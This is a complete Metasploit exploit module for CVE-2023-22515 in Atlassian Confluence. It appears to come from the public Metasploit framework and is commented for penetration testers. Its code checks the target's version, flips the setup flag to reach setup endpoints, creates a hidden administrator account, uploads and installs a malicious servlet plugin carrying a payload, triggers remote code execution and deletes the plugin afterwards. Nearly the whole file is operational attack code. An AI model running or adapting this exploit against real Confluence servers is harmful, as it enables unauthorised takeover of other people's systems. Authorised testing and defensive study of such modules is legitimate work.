##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Retry
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Atlassian Confluence Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an improper input validation issue in Atlassian Confluence, allowing arbitrary HTTP
parameters to be translated into getter/setter sequences via the XWorks2 middleware and in turn allows for
Java objects to be modified at run time. The exploit will create a new administrator user and upload a
malicious plugins to get arbitrary code execution. All versions of Confluence between 8.0.0 through to 8.3.2,
8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1 are affected.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # MSF Exploit & Rapid7 Analysis
],
'References' => [
['CVE', '2023-22515'],
['URL', 'https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis'],
['URL', 'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html'],
],
'DisclosureDate' => '2023-10-04',
'Privileged' => false, # `NT AUTHORITY\NETWORK SERVICE` on Windows by default.
'Targets' => [
[
'Automatic',
{
'Platform' => 'java',
'Arch' => [ARCH_JAVA]
}
],
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
# Note we cannot delete the admin user we create, as Confluence prevents a user deleting themself.
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
# By default Confluence listens for HTTP requests on TCP port 8090.
Opt::RPORT(8090),
# Confluence may have a non default base path, allow user to configure that here.
OptString.new('TARGETURI', [true, 'Base path for Confluence', '/']),
# The endpoint we target to trigger the vulnerability.
OptString.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', 'server-info.action']),
# We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait.
OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30])
]
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT'])
)
return CheckCode::Unknown('Connection failed') unless res
# Ensure target is a Confluence server by identifying an expected HTTP header.
return CheckCode::Unknown('No \'X-Confluence-Request-Time\' header') unless res.headers.key? 'X-Confluence-Request-Time'
if res.code == 200 && res.body
# Pull out the version string from one of three known locations within the HTML.
m = res.body.match(/ajs-version-number" content="(\d+\.\d+\.\d+)"/i)
if m.nil?
m = res.body.match(/Printed by Atlassian Confluence (\d+\.\d+\.\d+)/i)
if m.nil?
m = res.body.match(%r{<span id='footer-build-information'>(\d+\.\d+\.\d+)</span>}i)
end
end
unless m.nil?
version = Rex::Version.new(m[1])
ranges = [
['8.0.0', '8.3.2'],
['8.4.0', '8.4.2'],
['8.5.0', '8.5.1']
]
# If we have a Confluence server within the given version ranges, it appears vulnerable.
ranges.each do |min, max|
if version.between?(Rex::Version.new(min), Rex::Version.new(max))
return Exploit::CheckCode::Appears("Atlassian Confluence #{version}")
end
end
# By here we know we have a confluence server, but the version found indicates it is safe.
return Exploit::CheckCode::Safe("Atlassian Confluence #{version}")
end
end
# By here we have identified a Confluence server, but could not get the version number to determine if it is
# vulnerable of not.
CheckCode::Detected
end
def exploit
target_endpoint = normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT'])
print_status("Setting the application configuration's setupComplete to false via endpoint: #{target_endpoint}")
# 1. Leverage CVE-2023-22515 to modify a configuration setting, allowing us to reach the /setup/* endpoints.
res = send_request_cgi(
'method' => 'POST',
'uri' => target_endpoint,
'vars_post' => {
'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false'
}
)
unless res&.code == 302 || res&.code == 200
fail_with(Failure::UnexpectedReply, "Unexpected reply from endpoint: #{target_endpoint}")
end
print_status('Creating a new administrator user account...')
# usernames must be lowercase
admin_username = rand_text_alpha_lower(8)
admin_password = rand_text_alphanumeric(8)
# 2. Create a new administrator user account.
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'setup', 'setupadministrator.action'),
'headers' => {
'X-Atlassian-Token' => 'no-check'
},
'vars_post' => {
'username' => admin_username,
'fullName' => rand_text_alphanumeric(8),
# The email address does not need to be a valid address, but it must contain an @ character.
'email' => "#{rand_text_alphanumeric(8)}@#{rand_text_alphanumeric(8)}",
'password' => admin_password,
'confirm' => admin_password,
'setup-next-button' => 'Next'
}
)
unless res&.code == 302 || res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /setup/setupadministrator.action')
end
print_status("Created #{admin_username}:#{admin_password}")
# 3. Force the setup to become completed, to allow normal Confluence operations to continue.
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'setup', 'finishsetup.action'),
'headers' => {
'X-Atlassian-Token' => 'no-check'
}
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /setup/finishsetup.action')
end
print_status('Adding a malicious plugin...')
# 4. Upload a new Confluence Servlet plugin, by first requesting a UPM token.
res = send_request_cgi(
'method' => 'GET',
# Note, we concatenate '/' as this is required by the endpoint.
'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/',
'headers' => {
'Authorization' => basic_auth(admin_username, admin_password),
'Accept' => '*/*'
},
'vars_get' => {
'os_authType' => 'basic'
}
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /rest/plugins/1.0/')
end
upm_token = res.headers['upm-token']
unless upm_token
fail_with(Failure::UnexpectedReply, 'No UPM token from endpoint: /rest/plugins/1.0/')
end
begin
payload_endpoint = rand_text_alphanumeric(8)
plugin_key = rand_text_alpha(8)
# 5. Construct a malicious Servlet plugin JAR file. We set :random to true which will randomize the string
# 'metasploit' in the class paths (via Rex::Zip::Jar::add_sub).
jar = payload.encoded_jar(random: true)
jar.add_file(
'atlassian-plugin.xml',
%(
<atlassian-plugin name="#{rand_text_alpha(8)}" key="#{plugin_key}" plugins-version="2">
<plugin-info>
<description>#{rand_text_alphanumeric(8)}</description>
<version>#{rand(1024)}.#{rand(1024)}</version>
</plugin-info>
<servlet key="#{rand_text_alpha(8)}" class="#{jar.substitutions['metasploit']}.PayloadServlet">
<url-pattern>#{normalize_uri(payload_endpoint)}</url-pattern>
</servlet>
</atlassian-plugin>)
)
jar.add_file('metasploit/PayloadServlet.class', MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class'))
message = Rex::MIME::Message.new
message.add_part(jar.pack, 'application/octet-stream', 'binary', "form-data; name=\"plugin\"; filename=\"#{rand_text_alphanumeric(8)}.jar\"")
# 6. Upload the malicious plugin.
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/',
'ctype' => 'multipart/form-data; boundary=' + message.bound,
'headers' => {
'Authorization' => basic_auth(admin_username, admin_password),
'Accept' => '*/*'
},
'vars_get' => {
'token' => upm_token
},
'data' => message.to_s
)
unless res&.code == 202
fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply code from endpoint: /rest/plugins/1.0/')
end
unless res.body =~ %r{<textarea>(.+)</textarea>}
fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply data from endpoint: /rest/plugins/1.0/')
end
begin
plugin_json = JSON.parse(::Regexp.last_match(1))
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, failed to parse JSON data from endpoint: /rest/plugins/1.0/')
end
# We receive a JSON object like this:
# <textarea>{"type":"INSTALL","pingAfter":100,"status":{"done":false,"statusCode":200,"contentType":"application/vnd.atl.plugins.install.installing+json","source":"JQEjEJBr.jar","name":"JQEjEJBr.jar"},"links":{"self":"/rest/plugins/1.0/pending/52227753-1c3e-496f-a4f4-d52a8b3850dc","alternate":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc"},"timestamp":1697471602188,"userKey":"4028d6b28b294680018b39311d17001e","id":"52227753-1c3e-496f-a4f4-d52a8b3850dc"}</textarea>
links_alternate = plugin_json&.dig('links', 'alternate')
if links_alternate.nil?
fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, no alternate link in reply from endpoint: /rest/plugins/1.0/')
end
print_status('Waiting for plugin to be installed...')
# 7. The plugin is installed asynchronously, so we poll the server for installation to be completed.
plugin_ready = retry_until_truthy(timeout: datastore['CONFLUENCE_PLUGIN_TIMEOUT']) do
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, links_alternate)
)
# We receive a JSON result to indicate if the plugin is finished installing.
# {"links":{"self":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc","result":"/rest/plugins/1.0/plkWITNH-key"},"done":true,"type":"INSTALL","progress":1.0,"pollDelay":100,"timestamp":1697471602188}
if res&.code == 200
begin
res_json = JSON.parse(res.body)
next res_json['done']
rescue JSON::ParserError
next false
end
end
false
end
unless plugin_ready
fail_with(Failure::TimeoutExpired, 'Uploading plugin failed, timeout while waiting to install.')
end
print_status('Triggering payload...')
# 8. Trigger the payload by performing a request to the malicious servlet endpoint.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'plugins', 'servlet', payload_endpoint)
)
unless res&.code == 200
fail_with(Failure::PayloadFailed, "Triggering payload failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")
end
ensure
print_status('Deleting plugin...')
# 9. Delete the plugin we uploaded as we no longer need it. We cannot delete the admin user we created as
# Confluence doesnt allow a user to delete themself.
res = send_request_cgi(
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0', "#{plugin_key}-key"),
'headers' => {
'Authorization' => basic_auth(admin_username, admin_password),
'Connection' => 'close'
}
)
unless res&.code == 204
print_warning("Deleting plugin failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")
end
end
end
end